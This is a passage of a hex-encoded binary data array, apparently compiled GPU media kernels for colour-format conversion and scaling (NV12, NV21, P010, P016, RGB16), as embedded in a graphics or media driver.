0x000018d0, 0x00050052, 0x000018d0, 0x0005004a, 0x000018d0, 0x0005004b, 0x000018d0, 0x0005004c,
0x000018d0, 0x0005004d, 0x000018d0, 0x0005004e, 0x000018d0, 0x0005004f, 0x000018d0, 0x00050050,
0x000018d0, 0x00050051, 0x000018d0, 0x00050052, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x00000016, 0x00000005, 0x00000001, 0x00000044, 0x00000058, 0x00000006, 0x00000001, 0x0000009c,
0x00000320, 0x00000007, 0x00000001, 0x000003bc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x00000570, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x76615300, 0x34345f65, 0x61635334, 0x3631656c, 0x7469445f, 0x5f726568, 0x31424752, 0x00000036,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0xbfff004e,
0x00000050, 0xbfff004f, 0x00000070, 0xbfff004a, 0x00000090, 0xbfff004b, 0x000000b0, 0xbfff0050,
0x000000b0, 0xbfff0051, 0x000000c0, 0xbfff004c, 0x000000c0, 0xbfff004d, 0x000000f0, 0x3fff0014,
0x00000110, 0x3fff0012, 0x00000120, 0x3fff0016, 0x00000130, 0xbfff0072, 0x00000140, 0xbfff0079,
0x00000160, 0x3fff000c, 0x00000170, 0x3fff000d, 0x00000180, 0xbfff0073, 0x00000190, 0xbfff007a,
0x000001a0, 0xbfff0071, 0x000001b0, 0xbfff0078, 0x000001e0, 0x3fff0015, 0x000001f0, 0x3fff0024,
0x00000200, 0x3fff000a, 0x00000210, 0x3fff000b, 0x00000220, 0x3fff000e, 0x00000230, 0x3fff000f,
0x00000240, 0xbfff006f, 0x00000250, 0xbfff0076, 0x00000260, 0xbfff007d, 0x00000270, 0xbfff0074,
0x00000280, 0xbfff007b, 0x00000290, 0x3fff0013, 0x000002a0, 0x3fff0017, 0x000002b0, 0x3fff0022,
0x000002c0, 0x3fff0026, 0x000002d0, 0x3fff001a, 0x000002e0, 0x3fff001b, 0x000002f0, 0x3fff001e,
0x00000300, 0x3fff001f, 0x00000310, 0x3fff002a, 0x00000320, 0x3fff002b, 0x00000330, 0x3fff002e,
0x00000340, 0x3fff002f, 0x00000350, 0x3fff003a, 0x00000360, 0x3fff003b, 0x00000370, 0x3fff003e,
0x00000380, 0x3fff003f, 0x000003b0, 0xbfff0070, 0x000003c0, 0xbfff0077, 0x000003d0, 0xbfff007e,
0x000003e0, 0xbfff006e, 0x000003f0, 0xbfff0075, 0x00000400, 0xbfff007c, 0x00000480, 0x3fff0032,
0x00000490, 0x3fff0036, 0x000004a0, 0x3fff0042, 0x000004b0, 0x3fff0046, 0x000004c0, 0x3fff001c,
0x00000590, 0x3fff0025, 0x00000600, 0x3fff0023, 0x00000610, 0x3fff0027, 0x00000620, 0x3fff0033,
0x00000630, 0x3fff0037, 0x00000640, 0x3fff0043, 0x00000650, 0x3fff0047, 0x00000660, 0x3fff001d,
0x00000670, 0x3fff002c, 0x00000680, 0x3fff003c, 0x00000780, 0x3fff002d, 0x00000790, 0x3fff003d,
0x00000920, 0x3fff0034, 0x00000930, 0x3fff0035, 0x00000940, 0x3fff0044, 0x00000950, 0x3fff0045,
0x000009e0, 0x3fff006b, 0x00000020, 0x00010000, 0x00000140, 0x3fff0014, 0x00000190, 0x3fff0012,
0x000001b0, 0x3fff0016, 0x00000250, 0x3fff000c, 0x000003c0, 0x3fff000a, 0x000003f0, 0x3fff000e,
0x00000460, 0x3fff0015, 0x000004e0, 0x3fff0017, 0x00000570, 0x3fff0013, 0x000005a0, 0x3fff000d,
0x000005f0, 0x3fff001c, 0x00000690, 0x3fff000b, 0x000006b0, 0x3fff000f, 0x000006d0, 0x3fff001e,
0x00000700, 0x3fff001a, 0x00000750, 0x3fff0024, 0x00000770, 0x3fff0025, 0x000007a0, 0x3fff0026,
0x000007c0, 0x3fff0027, 0x000007e0, 0x3fff001d, 0x00000850, 0x3fff0022, 0x00000870, 0x3fff0023,
0x00000890, 0x3fff001b, 0x000008d0, 0x3fff001f, 0x00000960, 0x3fff0000, 0x00000a30, 0x3fff002c,
0x00000a60, 0x3fff0034, 0x00000ab0, 0x3fff002e, 0x00000af0, 0x3fff002a, 0x00000b00, 0x3fff0036,
0x00000b10, 0x3fff0032, 0x00000be0, 0x3fff0035, 0x00000c00, 0x3fff002d, 0x00000c20, 0x3fff003c,
0x00000c30, 0x3fff0033, 0x00000c50, 0x3fff002f, 0x00000c60, 0x3fff002b, 0x00000cb0, 0x3fff003e,
0x00000cc0, 0x3fff003a, 0x00000d20, 0x3fff0037, 0x00000d90, 0x3fff0044, 0x00000db0, 0x3fff0045,
0x00000dd0, 0x3fff0042, 0x00000df0, 0x3fff0043, 0x00000e20, 0x3fff003d, 0x00000e60, 0x3fff0046,
0x00000e90, 0x3fff0047, 0x00000ed0, 0x3fff003f, 0x00000ee0, 0x3fff003b, 0x00000f10, 0x3fff0072,
0x00000f10, 0x3fff0071, 0x00000f10, 0x3fff0073, 0x00000f20, 0x3fff0079, 0x00000f20, 0x3fff0078,
0x00000f20, 0x3fff007a, 0x00000f30, 0x3fff006c, 0x00000f30, 0x3fff006f, 0x00000f40, 0x3fff006e,
0x00000f50, 0x3fff0076, 0x00000f50, 0x3fff0075, 0x00000f50, 0x3fff0077, 0x00000f60, 0x3fff007d,
0x00000f60, 0x3fff007c, 0x00000f60, 0x3fff007e, 0x00000f70, 0x3fff0074, 0x00000f80, 0x3fff007b,
0x00000f90, 0x3fff0070, 0x00000fa0, 0xbfff006b, 0x00000fb0, 0x0003006d, 0x00000fb0, 0x0003004a,
0x00000fb0, 0x0003004b, 0x00000fb0, 0x0003004c, 0x00000fb0, 0x0003004d, 0x00000fb0, 0x0003004e,
0x00000fb0, 0x0003004f, 0x00000fb0, 0x00030050, 0x00000fb0, 0x00030051, 0x00000fb0, 0x0003004a,
0x00000fb0, 0x0003004b, 0x00000fb0, 0x0003004c, 0x00000fb0, 0x0003004d, 0x00000fb0, 0x0003004e,
0x00000fb0, 0x0003004f, 0x00000fb0, 0x00030050, 0x00000fb0, 0x00030051, 0x00000fb0, 0x0003006d,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001e, 0x00000005, 0x00000001, 0x0000004c,
0x00000268, 0x00000006, 0x00000001, 0x000002b4, 0x000002b8, 0x00000007, 0x00000001, 0x0000056c,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x00000310, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x76615300, 0x34345f65, 0x61635334, 0x3631656c,
0x31564e5f, 0x00000032, 0x00000000, 0x00000000, 0x00000000, 0x8000006f, 0x00000020, 0x80010070,
0x00000030, 0x3fff0002, 0x00000030, 0xbfff006c, 0x00000040, 0x3fff000c, 0x00000060, 0x3fff000d,
0x00000080, 0x3fff0014, 0x00000090, 0x3fff0015, 0x000000a0, 0x3fff001c, 0x000000b0, 0x3fff001d,
0x000000c0, 0x3fff0024, 0x000000d0, 0x3fff0025, 0x000000e0, 0x3fff002c, 0x000000f0, 0x3fff002d,
0x00000100, 0x3fff0034, 0x00000110, 0x3fff0035, 0x00000120, 0x3fff003c, 0x00000130, 0x3fff003d,
0x00000140, 0x3fff0044, 0x00000150, 0x3fff0045, 0x00000160, 0x3fff006b, 0x00000180, 0xbfff006d,
0x00000190, 0xbfff004a, 0x000001b0, 0xbfff004b, 0x00000210, 0xbfff004c, 0x00000230, 0xbfff004d,
0x00000290, 0xbfff004e, 0x000002b0, 0xbfff004f, 0x00000310, 0xbfff0050, 0x00000330, 0xbfff0051,
0x000003d0, 0x0000ffff, 0x00001e90, 0x3fff000a, 0x00001ea0, 0x3fff0012, 0x00001eb0, 0x3fff000b,
0x00001ec0, 0x3fff0013, 0x00001ed0, 0x3fff000e, 0x00001ee0, 0x3fff0016, 0x00001ef0, 0x3fff000f,
0x00001f00, 0x3fff0017, 0x00001f70, 0x3fff001e, 0x00001f80, 0x3fff0026, 0x00001f90, 0x3fff001f,
0x00001fa0, 0x3fff0027, 0x00001fb0, 0x3fff001a, 0x00001fc0, 0x3fff0022, 0x00001fd0, 0x3fff001b,
0x00001fe0, 0x3fff0023, 0x00002050, 0x3fff002e, 0x00002060, 0x3fff0036, 0x00002070, 0x3fff002f,
0x00002080, 0x3fff0037, 0x00002090, 0x3fff002a, 0x000020a0, 0x3fff0032, 0x000020b0, 0x3fff002b,
0x000020c0, 0x3fff0033, 0x00002130, 0x3fff003e, 0x00002140, 0x3fff0046, 0x00002150, 0x3fff003f,
0x00002160, 0x3fff0047, 0x00002170, 0x3fff003a, 0x00002180, 0x3fff0042, 0x00002190, 0x3fff003b,
0x000021a0, 0x3fff0043, 0x000021f0, 0x3fff0064, 0x000021f0, 0x3fff0065, 0x00002200, 0x3fff0062,
0x00002200, 0x3fff0063, 0x00002220, 0x3fff0000, 0x00002250, 0x3fff006c, 0x00002260, 0x0003006e,
0x00002260, 0x0003005a, 0x00002260, 0x0003005b, 0x00002260, 0x0003005c, 0x00002260, 0x0003005d,
0x000003c0, 0x0002004a, 0x000003c0, 0x0002004b, 0x000003c0, 0x0002004c, 0x000003c0, 0x0002004d,
0x000003c0, 0x0002004e, 0x000003c0, 0x0002004f, 0x000003c0, 0x00020050, 0x000003c0, 0x00020051,
0x00002260, 0x0003005a, 0x00002260, 0x0003005b, 0x00002260, 0x0003005c, 0x00002260, 0x0003005d,
0x000003c0, 0x0002006d, 0x00002260, 0x0003006e, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x00000016, 0x00000005, 0x00000001, 0x00000044, 0x00000100, 0x00000006, 0x00000001, 0x00000144,
0x000001c8, 0x00000007, 0x00000001, 0x0000030c, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x00000310, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x76615300, 0x34345f65, 0x61635334, 0x3631656c, 0x32564e5f, 0x00000031, 0x00000000, 0x00000000,
0x00000000, 0x8000006f, 0x00000020, 0x80010070, 0x00000030, 0x3fff0002, 0x00000030, 0xbfff006c,
0x00000040, 0x3fff000c, 0x00000060, 0x3fff000d, 0x00000080, 0x3fff0014, 0x00000090, 0x3fff0015,
0x000000a0, 0x3fff001c, 0x000000b0, 0x3fff001d, 0x000000c0, 0x3fff0024, 0x000000d0, 0x3fff0025,
0x000000e0, 0x3fff002c, 0x000000f0, 0x3fff002d, 0x00000100, 0x3fff0034, 0x00000110, 0x3fff0035,
0x00000120, 0x3fff003c, 0x00000130, 0x3fff003d, 0x00000140, 0x3fff0044, 0x00000150, 0x3fff0045,
0x00000160, 0x3fff006b, 0x00000180, 0xbfff006d, 0x00000190, 0xbfff004a, 0x000001b0, 0xbfff004b,
0x00000210, 0xbfff004c, 0x00000230, 0xbfff004d, 0x00000290, 0xbfff004e, 0x000002b0, 0xbfff004f,
0x00000310, 0xbfff0050, 0x00000330, 0xbfff0051, 0x000003d0, 0x0000ffff, 0x00001e90, 0x3fff000a,
0x00001ea0, 0x3fff0012, 0x00001eb0, 0x3fff000b, 0x00001ec0, 0x3fff0013, 0x00001ed0, 0x3fff000e,
0x00001ee0, 0x3fff0016, 0x00001ef0, 0x3fff000f, 0x00001f00, 0x3fff0017, 0x00001f70, 0x3fff001a,
0x00001f80, 0x3fff0022, 0x00001f90, 0x3fff001b, 0x00001fa0, 0x3fff0023, 0x00001fb0, 0x3fff001e,
0x00001fc0, 0x3fff0026, 0x00001fd0, 0x3fff001f, 0x00001fe0, 0x3fff0027, 0x00002050, 0x3fff002a,
0x00002060, 0x3fff0032, 0x00002070, 0x3fff002b, 0x00002080, 0x3fff0033, 0x00002090, 0x3fff002e,
0x000020a0, 0x3fff0036, 0x000020b0, 0x3fff002f, 0x000020c0, 0x3fff0037, 0x00002130, 0x3fff003a,
0x00002140, 0x3fff0042, 0x00002150, 0x3fff003b, 0x00002160, 0x3fff0043, 0x00002170, 0x3fff003e,
0x00002180, 0x3fff0046, 0x00002190, 0x3fff003f, 0x000021a0, 0x3fff0047, 0x000021f0, 0x3fff0062,
0x000021f0, 0x3fff0063, 0x00002200, 0x3fff0064, 0x00002200, 0x3fff0065, 0x00002220, 0x3fff0000,
0x00002250, 0x3fff006c, 0x00002260, 0x0003006e, 0x00002260, 0x0003005a, 0x00002260, 0x0003005b,
0x00002260, 0x0003005c, 0x00002260, 0x0003005d, 0x000003c0, 0x0002004a, 0x000003c0, 0x0002004b,
0x000003c0, 0x0002004c, 0x000003c0, 0x0002004d, 0x000003c0, 0x0002004e, 0x000003c0, 0x0002004f,
0x000003c0, 0x00020050, 0x000003c0, 0x00020051, 0x00002260, 0x0003005a, 0x00002260, 0x0003005b,
0x00002260, 0x0003005c, 0x00002260, 0x0003005d, 0x000003c0, 0x0002006d, 0x00002260, 0x0003006e,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000016, 0x00000005, 0x00000001, 0x00000044,
0x00000100, 0x00000006, 0x00000001, 0x00000144, 0x000001c8, 0x00000007, 0x00000001, 0x0000030c,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x00000350, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x76615300, 0x34345f65, 0x61635334, 0x3631656c,
0x3130505f, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x8000006f, 0x00000020, 0x80010070,
0x00000030, 0x3fff000c, 0x00000030, 0xbfff004a, 0x00000040, 0x3fff0014, 0x00000050, 0xbfff004b,
0x00000070, 0x3fff000d, 0x00000070, 0xbfff004c, 0x00000080, 0x3fff0015, 0x00000090, 0xbfff004d,
0x000000b0, 0x3fff001c, 0x000000b0, 0xbfff004e, 0x000000c0, 0x3fff0024, 0x000000d0, 0xbfff004f,
0x000000f0, 0x3fff001d, 0x000000f0, 0xbfff0050, 0x00000100, 0x3fff0025, 0x00000110, 0xbfff0051,
0x00000130, 0x3fff0002, 0x00000130, 0xbfff006c, 0x00000140, 0x3fff006b, 0x000001f0, 0xbfff006d,
0x00000290, 0x3fff002c, 0x000002a0, 0x3fff0034, 0x000002d0, 0x3fff002d, 0x000002e0, 0x3fff0035,
0x00000310, 0x3fff003c, 0x00000320, 0x3fff0044, 0x00000350, 0x3fff003d, 0x00000360, 0x3fff0045,
0x00000480, 0x0000ffff, 0x00001740, 0x3fff000a, 0x00001750, 0x3fff0012, 0x00001760, 0x3fff000b,
0x00001770, 0x3fff0013, 0x00001780, 0x3fff000e, 0x00001790, 0x3fff0016, 0x000017a0, 0x3fff000f,
0x000017b0, 0x3fff0017, 0x000017e0, 0x3fff001e, 0x000017f0, 0x3fff0026, 0x00001800, 0x3fff001f,
0x00001810, 0x3fff0027, 0x00001820, 0x3fff001a, 0x00001830, 0x3fff0022, 0x00001840, 0x3fff001b,
0x00001850, 0x3fff0023, 0x00001880, 0x3fff002e, 0x00001890, 0x3fff0036, 0x000018a0, 0x3fff002f,
0x000018b0, 0x3fff0037, 0x000018c0, 0x3fff002a, 0x000018d0, 0x3fff0032, 0x000018e0, 0x3fff002b,
0x000018f0, 0x3fff0033, 0x00001920, 0x3fff003e, 0x00001930, 0x3fff0046, 0x00001940, 0x3fff003f,
0x00001950, 0x3fff0047, 0x00001960, 0x3fff003a, 0x00001970, 0x3fff0042, 0x00001980, 0x3fff003b,
0x00001990, 0x3fff0043, 0x000019a0, 0x3fff0064, 0x000019a0, 0x3fff0065, 0x000019b0, 0x3fff0062,
0x000019b0, 0x3fff0063, 0x00001a90, 0x3fff0000, 0x00001ac0, 0x3fff006c, 0x00001ad0, 0x0004006e,
0x00001ad0, 0x00040052, 0x00001ad0, 0x00040053, 0x00001ad0, 0x00040054, 0x00001ad0, 0x00040055,
0x00001ad0, 0x00040056, 0x00001ad0, 0x00040057, 0x00001ad0, 0x00040058, 0x00001ad0, 0x00040059,
0x00000470, 0x0003004a, 0x00000470, 0x0003004b, 0x00000470, 0x0003004c, 0x00000470, 0x0003004d,
0x00000470, 0x0003004e, 0x00000470, 0x0003004f, 0x00000470, 0x00030050, 0x00000470, 0x00030051,
0x00001ad0, 0x00040052, 0x00001ad0, 0x00040053, 0x00001ad0, 0x00040054, 0x00001ad0, 0x00040055,
0x00001ad0, 0x00040056, 0x00001ad0, 0x00040057, 0x00001ad0, 0x00040058, 0x00001ad0, 0x00040059,
0x00000470, 0x0003006d, 0x00001ad0, 0x0004006e, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x00000016, 0x00000005, 0x00000001, 0x00000044, 0x00000100, 0x00000006, 0x00000001, 0x00000144,
0x00000208, 0x00000007, 0x00000001, 0x0000034c, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x00000350, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x76615300, 0x34345f65, 0x61635334, 0x3631656c, 0x3130505f, 0x00000036, 0x00000000, 0x00000000,
0x00000000, 0x8000006f, 0x00000020, 0x80010070, 0x00000030, 0x3fff0002, 0x00000030, 0xbfff006c,
0x00000040, 0x3fff006b, 0x00000080, 0x3fff000c, 0x00000080, 0xbfff004a, 0x00000090, 0x3fff0014,
0x000000a0, 0xbfff004b, 0x000000c0, 0x3fff000d, 0x000000c0, 0xbfff004c, 0x000000d0, 0x3fff0015,
0x000000e0, 0xbfff004d, 0x00000100, 0x3fff001c, 0x00000100, 0xbfff004e, 0x00000110, 0x3fff0024,
0x00000120, 0xbfff004f, 0x00000140, 0x3fff001d, 0x00000140, 0xbfff0050, 0x00000150, 0x3fff0025,
0x00000160, 0xbfff0051, 0x00000180, 0xbfff006d, 0x000001e0, 0x3fff002c, 0x000001f0, 0x3fff0034,
0x00000220, 0x3fff002d, 0x00000230, 0x3fff0035, 0x00000260, 0x3fff003c, 0x00000270, 0x3fff0044,
0x000002a0, 0x3fff003d, 0x000002b0, 0x3fff0045, 0x00000300, 0x0000ffff, 0x000015c0, 0x3fff000a,
0x000015d0, 0x3fff0012, 0x000015e0, 0x3fff000b, 0x000015f0, 0x3fff0013, 0x00001600, 0x3fff000e,
0x00001610, 0x3fff0016, 0x00001620, 0x3fff000f, 0x00001630, 0x3fff0017, 0x00001660, 0x3fff001e,
0x00001670, 0x3fff0026, 0x00001680, 0x3fff001f, 0x00001690, 0x3fff0027, 0x000016a0, 0x3fff001a,
0x000016b0, 0x3fff0022, 0x000016c0, 0x3fff001b, 0x000016d0, 0x3fff0023, 0x00001700, 0x3fff002e,
0x00001710, 0x3fff0036, 0x00001720, 0x3fff002f, 0x00001730, 0x3fff0037, 0x00001740, 0x3fff002a,
0x00001750, 0x3fff0032, 0x00001760, 0x3fff002b, 0x00001770, 0x3fff0033, 0x000017a0, 0x3fff003e,
0x000017b0, 0x3fff0046, 0x000017c0, 0x3fff003f, 0x000017d0, 0x3fff0047, 0x000017e0, 0x3fff003a,
0x000017f0, 0x3fff0042, 0x00001800, 0x3fff003b, 0x00001810, 0x3fff0043, 0x00001820, 0x3fff0064,
0x00001820, 0x3fff0065, 0x00001830, 0x3fff0062, 0x00001830, 0x3fff0063, 0x00001850, 0x3fff0000,
0x00001880, 0x3fff006c, 0x00001890, 0x0004006e, 0x00001890, 0x00040052, 0x00001890, 0x00040053,
0x00001890, 0x00040054, 0x00001890, 0x00040055, 0x00001890, 0x00040056, 0x00001890, 0x00040057,
0x00001890, 0x00040058, 0x00001890, 0x00040059, 0x000002f0, 0x0003004a, 0x000002f0, 0x0003004b,
0x000002f0, 0x0003004c, 0x000002f0, 0x0003004d, 0x000002f0, 0x0003004e, 0x000002f0, 0x0003004f,
0x000002f0, 0x00030050, 0x000002f0, 0x00030051, 0x00001890, 0x00040052, 0x00001890, 0x00040053,
0x00001890, 0x00040054, 0x00001890, 0x00040055, 0x00001890, 0x00040056, 0x00001890, 0x00040057,
0x00001890, 0x00040058, 0x00001890, 0x00040059, 0x000002f0, 0x0003006d, 0x00001890, 0x0004006e,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000016, 0x00000005, 0x00000001, 0x00000044,
0x00000100, 0x00000006, 0x00000001, 0x00000144, 0x00000208, 0x00000007, 0x00000001, 0x0000034c,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x00000704, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x76615300, 0x34345f65, 0x61635334, 0x3631656c,
0x0041505f, 0x00000000, 0x00000000, 0x00000000, 0x8000006e, 0x00000020, 0x8001006f, 0x00000030,
0x3fff000c, 0x00000040, 0x3fff000a, 0x00000050, 0x3fff000b, 0x00000060, 0x3fff000d, 0x00000070,
0x3fff000e, 0x00000080, 0x3fff000f, 0x00000090, 0x3fff0012, 0x000000a0, 0x3fff0013, 0x000000b0,
0x3fff0014, 0x000000c0, 0x3fff0015, 0x000000d0, 0x3fff0016, 0x000000e0, 0x3fff0017, 0x000000f0,
0x3fff001a, 0x00000100, 0x3fff001b, 0x00000110, 0x3fff001c, 0x00000120, 0x3fff001d, 0x00000130,
0x3fff001e, 0x00000140, 0x3fff001f, 0x00000150, 0x3fff0022, 0x00000160, 0x3fff0023, 0x00000170,
0x3fff0024, 0x00000180, 0x3fff0025, 0x00000190, 0x3fff0026, 0x000001a0, 0x3fff0027, 0x000001b0,
0x3fff0002, 0x000001c0, 0xbfff0010, 0x000001c0, 0xbfff0011, 0x000001c0, 0xbfff0018, 0x000001c0,
0xbfff0019, 0x000001c0, 0xbfff0020, 0x000001c0, 0xbfff0021, 0x000001c0, 0xbfff0028, 0x000001c0,
0xbfff0029, 0x000001c0, 0xbfff002a, 0x000001c0, 0xbfff002b, 0x000001c0, 0xbfff002c, 0x000001c0,
0xbfff002d, 0x000001c0, 0xbfff002e, 0x000001c0, 0xbfff002f, 0x000001c0, 0xbfff0030, 0x000001c0,
0xbfff0031, 0x000001c0, 0xbfff0032, 0x000001c0, 0xbfff0033, 0x000001c0, 0xbfff0034, 0x000001c0,
0xbfff0035, 0x000001c0, 0xbfff0036, 0x000001c0, 0xbfff0037, 0x000001c0, 0xbfff0038, 0x000001c0,
0xbfff0039, 0x000001c0, 0xbfff003a, 0x000001c0, 0xbfff003b, 0x000001c0, 0xbfff003c, 0x000001c0,
0xbfff003d, 0x000001c0, 0xbfff003e, 0x000001c0, 0xbfff003f, 0x000001c0, 0xbfff0040, 0x000001c0,
0xbfff0041, 0x000001c0, 0xbfff0042, 0x000001c0, 0xbfff0043, 0x000001c0, 0xbfff0044, 0x000001c0,
0xbfff0045, 0x000001c0, 0xbfff0046, 0x000001c0, 0xbfff0047, 0x000001c0, 0xbfff0048, 0x000001c0,
0xbfff0049, 0x000001c0, 0xbfff004a, 0x000001c0, 0xbfff004b, 0x000001c0, 0xbfff004c, 0x000001c0,
0xbfff004d, 0x000001c0, 0xbfff004e, 0x000001c0, 0xbfff004f, 0x000001c0, 0xbfff0050, 0x000001c0,
0xbfff0051, 0x000001c0, 0xbfff0052, 0x000001c0, 0xbfff0053, 0x000001c0, 0xbfff0054, 0x000001c0,
0xbfff0055, 0x000001c0, 0xbfff0056, 0x000001c0, 0xbfff0057, 0x000001c0, 0xbfff0058, 0x000001c0,
0xbfff0059, 0x000001c0, 0xbfff005a, 0x000001c0, 0xbfff005b, 0x000001c0, 0xbfff005c, 0x000001c0,
0xbfff005d, 0x000001c0, 0xbfff005e, 0x000001c0, 0xbfff005f, 0x000001c0, 0xbfff0060, 0x000001c0,
0xbfff0061, 0x000001c0, 0xbfff0062, 0x000001c0, 0xbfff0063, 0x000001c0, 0xbfff0064, 0x000001c0,
0xbfff0065, 0x000001c0, 0xbfff0066, 0x000001c0, 0xbfff0067, 0x000001c0, 0xbfff0068, 0x000001c0,
0xbfff0069, 0x000004e0, 0xbfff006d, 0x00000500, 0x3fff006b, 0x00000530, 0xbfff006c, 0x00000010,
0x3fff006e, 0x00000020, 0x00010000, 0x000003d0, 0x3fff0002, 0x000004e0, 0x3fff0000, 0x00000540,
0x3fff006f, 0x000009d0, 0xbfff000a, 0x000009d0, 0xbfff000b, 0x000009d0, 0xbfff000c, 0x000009d0,
0xbfff000d, 0x000009d0, 0xbfff000e, 0x000009d0, 0xbfff000f, 0x000009d0, 0xbfff0010, 0x000009d0,
0xbfff0011, 0x000009d0, 0xbfff0012, 0x000009d0, 0xbfff0013, 0x000009d0, 0xbfff0014, 0x000009d0,
0xbfff0015, 0x000009d0, 0xbfff0016, 0x000009d0, 0xbfff0017, 0x000009d0, 0xbfff0018, 0x000009d0,
0xbfff0019, 0x000009d0, 0xbfff001a, 0x000009d0, 0xbfff001b, 0x000009d0, 0xbfff001c, 0x000009d0,
0xbfff001d, 0x000009d0, 0xbfff001e, 0x000009d0, 0xbfff001f, 0x000009d0, 0xbfff0020, 0x000009d0,
0xbfff0021, 0x000009d0, 0xbfff0022, 0x000009d0, 0xbfff0023, 0x000009d0, 0xbfff0024, 0x000009d0,
0xbfff0025, 0x000009d0, 0xbfff0026, 0x000009d0, 0xbfff0027, 0x000009d0, 0xbfff0028, 0x000009d0,
0xbfff0029, 0x000009d0, 0xbfff002a, 0x000009d0, 0xbfff002b, 0x000009d0, 0xbfff002c, 0x000009d0,
0xbfff002d, 0x000009d0, 0xbfff002e, 0x000009d0, 0xbfff002f, 0x000009d0, 0xbfff0030, 0x000009d0,
0xbfff0031, 0x000009d0, 0xbfff0032, 0x000009d0, 0xbfff0033, 0x000009d0, 0xbfff0034, 0x000009d0,
0xbfff0035, 0x000009d0, 0xbfff0036, 0x000009d0, 0xbfff0037, 0x000009d0, 0xbfff0038, 0x000009d0,
0xbfff0039, 0x000009d0, 0xbfff003a, 0x000009d0, 0xbfff003b, 0x000009d0, 0xbfff003c, 0x000009d0,
0xbfff003d, 0x000009d0, 0xbfff003e, 0x000009d0, 0xbfff003f, 0x000009d0, 0xbfff0040, 0x000009d0,
0xbfff0041, 0x000009d0, 0xbfff0042, 0x000009d0, 0xbfff0043, 0x000009d0, 0xbfff0044, 0x000009d0,
0xbfff0045, 0x000009d0, 0xbfff0046, 0x000009d0, 0xbfff0047, 0x000009d0, 0xbfff0048, 0x000009d0,
0xbfff0049, 0x000009d0, 0xbfff0052, 0x000009d0, 0xbfff0053, 0x000009d0, 0xbfff0054, 0x000009d0,
0xbfff0055, 0x000009d0, 0xbfff0056, 0x000009d0, 0xbfff0057, 0x000009d0, 0xbfff0058, 0x000009d0,
0xbfff0059, 0x000009d0, 0xbfff005a, 0x000009d0, 0xbfff005b, 0x000009d0, 0xbfff005c, 0x000009d0,
0xbfff005d, 0x000009d0, 0xbfff005e, 0x000009d0, 0xbfff005f, 0x000009d0, 0xbfff0060, 0x000009d0,
0xbfff0061, 0x000009d0, 0xbfff0062, 0x000009d0, 0xbfff0063, 0x000009d0, 0xbfff0064, 0x000009d0,
0xbfff0065, 0x000009d0, 0xbfff0066, 0x000009d0, 0xbfff0067, 0x000009d0, 0xbfff0068, 0x000009d0,
0xbfff0069, 0x000009e0, 0x3fff006c, 0x000009f0, 0xbfff006b, 0x00000a00, 0x0003006d, 0x00000a00,
0x0003004a, 0x00000a00, 0x0003004b, 0x00000a00, 0x0003004c, 0x00000a00, 0x0003004d, 0x00000a00,
0x0003004e, 0x00000a00, 0x0003004f, 0x00000a00, 0x00030050, 0x00000a00, 0x00030051, 0x00000a00,
0x0003004a, 0x00000a00, 0x0003004b, 0x00000a00, 0x0003004c, 0x00000a00, 0x0003004d, 0x00000a00,
0x0003004e, 0x00000a00, 0x0003004f, 0x00000a00, 0x00030050, 0x00000a00, 0x00030051, 0x00000a00,
0x0003006d, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000,
0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000,
0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000014, 0x00000005, 0x00000001,
0x00000040, 0x00000338, 0x00000006, 0x00000001, 0x00000378, 0x00000388, 0x00000007, 0x00000001,
0x00000700, 0x00000002, 0x00000000, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x00000318, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
